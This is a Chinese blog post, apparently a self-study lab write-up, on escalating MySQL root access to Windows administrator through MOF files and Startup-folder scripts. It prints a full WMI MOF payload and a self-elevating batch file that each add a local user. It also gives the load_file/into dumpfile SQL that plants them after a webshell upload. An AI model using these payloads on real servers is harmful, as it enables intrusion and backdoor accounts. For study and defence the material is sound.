当前位置:网站首页>MySQL数据库提权学习
MySQL数据库提权学习
2022-07-23 02:07:00 【Goodric】
MySQL数据库提权学习
——
之前测试过MySQL的udf提权方式,现在对MySQL的其它两种方式进行测试与学习。
MySQL数据库UDF提权:
https://blog.csdn.net/Goodric/article/details/125916936?spm=1001.2014.3001.5501
——
——
mof提权
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
在mysql的root权限下,使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
影响: windows server2008以下的版本
——
先创建一个 .mof文件,通过webshell或上传漏洞上传到目标机器的可读写的目录。
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin [email protected]# /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这里通过webshell上传到网站根目录。
然后通过数据库语句导入到mof文件夹中。
select load_file(‘C:/phpstudy_pro/WWW/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

可以看到成功导入到了mof文件夹中
过一会里面的语句就会被执行,然后文件应该会自动放在上图中good文件夹中。
——
——
启动项提权
原理:
向 启动项目录导入自定义bat或vbs文件,
重启服务器则会自动调用导入到启动项目录下的下的VBS或bat脚本,并执行其中的用户添加及提权命令。
条件
启动项目录可读写,直接将提权脚本上传到该目录下
root账号登陆MySQL
测试:
创建 .bat 文件,文件内容:
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
net user test test123! /add
其中这些内容的作用是以管理员权限执行这个bat文件。(不然cmd命令行可能会回显拒绝访问)
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
这个就是我们想要执行的cmd命令创建用户了。(当前可能只有网站的权限,通过这里可以执行管理员可执行的命令)
net user test test123! /add

通过webshell等方式先把文件放入目标机的可读写目录。
然后通过sql语句导入到启动项目录。
select load_file('C:\\phpstudy_pro\\WWW\\add.bat') into dumpfile 'C:\\Users\\goodric\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\add.bat';

——
可以看到成功导入到启动项目录。
如果启动项的目录不好找,可以在开始-所有程序-启动-打开查看这个文件夹。
然后重启就会自动执行这个.bat文件。不够也会存在一个问题,如果以管理员执行这个文件的话,可能会弹这个窗口(目标机器可以设置不弹出),不知道有没有其它方法可以以管理员方式执行且不执行的。
边栏推荐
- Installation, configuration and use of sentry
- .split(“,“, -1) 和 .split(“,“) 的区别
- 【无标题】
- Repeatable-read RR mode interval lock
- phpcms实现产品多条件筛选功能
- VirtualBox NAT network mode configuration
- 肽核酸偶联多肽Ile-Glu-Gly-Arg-pNA (S-2222)|Boc-Leu-Gly-Arg-PNA
- 【C语言对链表的操作(链表的初始化,建立,求长,增加,删除,以及输出)】
- 给我五分钟,给你一片“云”
- QML (17) -- read and write txt files
猜你喜欢

判断两个类型是否相同

【HLS】流水线仿真之排队函数的调用

Accumulation of FPGA errors

肽核酸如何保存|包含偶氮苯单元的肽核酸(N-PNA)|99Tcm标记c-myc mRNA

Repeat: the difference between Pearson Pearson correlation coefficient and Spearman Spearman correlation coefficient

Blog milestones

C语言力扣第39题之组合总和。回溯法与遍历法

【C语言对链表的操作(链表的初始化,建立,求长,增加,删除,以及输出)】

Linear feedback shift register (lsfr)

PNA specification information | soybean peroxidase labeled PNA (peptide nucleic acid, PNA)
随机推荐
毕业1年,放弃实习机会,在家自学软件测试,同学实习刚结束,我已成月薪12k测试工程师
Peptide nucleic acid (PNA) coupled with membrane penetrating peptides (CCPs) (KFF) 3K to form CCPs PNA | peptide nucleic acid
PNA specification information | soybean peroxidase labeled PNA (peptide nucleic acid, PNA)
肽核酸如何保存|包含偶氮苯单元的肽核酸(N-PNA)|99Tcm标记c-myc mRNA
Canal configuration 01
Accumulation of FPGA errors
我想在挖财学习理财开户安全吗?
2022-07-22:以下go语言代码输出什么?A:1;B:1.5;C:编译错误;D:1.49。 package main import “fmt“ func main() { var i
Is it safe to apply for a stock trading account and open an account on your mobile phone?
pytorch 保存和加载模型
express操作mysql,sql哪里写错了?
PNA修饰多肽Bz-Val-Gly-Arg-PNA|Boc-Val-Leu-Gly-Arg-PNA
判断两个类型是否相同
canal 02
qml-使用 listView 构筑三级树形(treeView)架构
PNA肽核酸修饰多肽Bz-(DL)-Arg-pNA|Z-Ala-Ala-Leu-pNA|Suc-Ala-Ala-Ala-pNA
Canal Chapter 5
READ-COMMITTED没有区间锁
QML (17) -- read and write txt files
来看看 VSCode 的多行编辑